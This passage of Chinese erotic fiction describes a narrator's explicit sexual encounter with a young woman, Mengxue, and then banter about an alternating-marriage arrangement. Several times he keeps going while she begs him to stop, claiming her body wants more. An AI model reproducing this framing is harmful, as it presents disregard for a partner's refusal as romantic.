同时我也感觉到梦雪的花心传来一股巨大的吸力,花径里的抽搐一直的持续着,我强忍泄意,持续抽插起来,每一下都结结实实的撞击到蜜穴深处的花心,梦雪潮红的小脸上布满细密的汗珠,小口微张,浑身簌簌颤抖:“啊——不——不要了——哥哥!啊——饶——饶了梦雪——!”她推着我的胸膛,勉力睁开眼睛,黑白分明的眸子里泪光闪闪,她现在处于一种半晕半醒的失神状态下,软弱无力的向我投以哀求目光,因高潮而痉挛的敏感娇躯却被一个个涌起的高峰所吞噬。
“不——不行!”我喘着粗气,依然一下接着一下的开垦着梦雪的处女花径,汗水如雨:“梦雪——梦雪的身子——在说‘不要停’!丫头,你听,听见没有?”我往她雪润的蜜穴深深一插,阳具直没入底,捣得娇嫩幼细的肉壁里再无一丝空隙,“唧唧”地挤出大片淫水。
梦雪娇躯战抖,哀鸣起来,美丽的螓首不住乱摇:“不要!我——我会死掉——秦哥哥,啊——不行了,啊啊啊——!”
我再也无法忍耐汹涌的泄意,拥着动人的梦雪,腰下大耸大弄,鸡巴飞快的在梦雪腿间吞吐进出,插得梦雪魂飞魄散,仰着头不停地尖声呻吟。一轮狂捣下,连我拼命缩紧的臀部肌肉都痉挛起来,直到烈火般的大股的液体猛然喷出龟头,一股脑儿全射进了娇嫩的花心里。
“啊——!”梦雪身子娇弱,被我滚烫的精液一冲,顿时浑身抽搐不止。
我这次射得可以说是点滴不剩,直到肉棒深处微感刺痛,仍然觉得还在喷薄不止,我脱力的趴在梦雪柔软湿漉的乳房间,满足之余又觉得心惊,梦雪这般娇柔,我怎么竟能如此放纵!我将梦雪搂在臂弯里,却舍不得移开目光,仍是在欣赏着她的娇躯,手上细细为她梳理长发,抹去额头的汗珠。
也不知过了多久,梦雪缓缓的回过神来,睁开美丽的眸子,娇喘轻细,酥胸仍然在起伏不停,低声的呢喃着:“秦哥哥,我——好象——好象死了一回,好,好奇妙啊。”
我不禁微笑了,低头去用鼻尖轻磨着她挺翘的小琼鼻,柔声道:“梦雪若喜欢,我天天都教你死上几回。”
梦雪听了不觉大羞,原本举起粉拳要打,玉臂却无力的垂下。我一把接住了她的小手,轻握着纤纤玉指,轻柔的抚捏:“梦雪,你的身子真的,真的是美妙无比,哥哥——今天真的非常快乐,我要梦雪你永远陪伴着我,日日夜夜都来品尝梦雪的滋味,一天都不要放过,好不好。”
梦雪见我说得温柔郑重,那可是我发自肺腑的心疼喜爱,珍视怜惜。不由得心底一甜,叫她心里暖烘烘的一片,梦雪别过头去,又羞又喜,小声道:“梦雪——梦雪哪有这么好?你——又来欺负人家!”却连雪白的粉颈都泛起一片潮红。
我无声的贴上她的粉颈,梦雪软软的娇呼一声缩到我的怀抱里,温存许久。梦雪估计觉得下身肿痛难受,不安的扭动着娇躯。我小心翼翼地退了出来,梦雪在我退出穴口时却“啊!”的一声叫了出来,我清楚的知道她此刻的感觉的,却明知故问道:“怎么啦?”
“不知道,感觉好怪。”梦雪闭眼摇头:“好像,好像有什么东西,被你抽走了啦!”我这时注意到,在梦雪的双腿间,大量的白浆混着血丝,淌出泥泞不堪的蜜穴,流到梦雪身下的丝巾上,染得丝巾上的片片落红渲染开来,如同一幅冬雪红梅图。
我取过丝巾谨慎的收好,拉过被子盖住我们,搂着梦雪温柔的爱抚。梦雪回抱着我与我细语温存,忽然梦雪往后一仰,按着我的胸膛娇声道:“哥哥,想不想知道我和婷姐姐说了什么?”
“想啊!想啊!”我急切的道:“快点告诉哥哥,你们到底在搞什么鬼?”
“嘻嘻!”梦雪调皮的笑了:“我和婷姐姐商量好了,我也要嫁给你,不过是每人一年。”
“啊?” 我迷糊了:“到底怎么回事,你倒是说清楚呀。”
梦雪眨眨眼睛,嘿嘿哈哈的说:“婷婷姐姐发给我一本书,是一个叫鹅考的家伙写的,也是一个猪脚同时喜欢上了两个女孩子,后来那两个女孩商量,每过一年,猪脚都和前一个女孩离婚,和另一个女孩结婚,他们从此快快乐乐的生活下去啦,就这样。”
我的额头顿时滴下豆大的汗珠来:“这,这也能行?”
“不过,我们还有条件的哦。”梦雪狡黠的笑道:“这一年你,你只能碰我们中和你结婚的那一个,另外一个你不许碰哦,你要是不遵守的话,就会都不理你,让你一个人睡去!”
“不行!”我叫道:“那不行,我不同意!”
“呵呵!”梦雪在我胸口扭了一下:“傻哥哥,你不会偷吃呀,真笨!”
“对呀!”我突然醒悟过来,我可以在没人的情况下偷偷的偷吃嘛!哈哈,我的小乖乖,真是个古怪精灵的坏丫头!我搂着梦雪,狠狠的亲了过去!!!!!!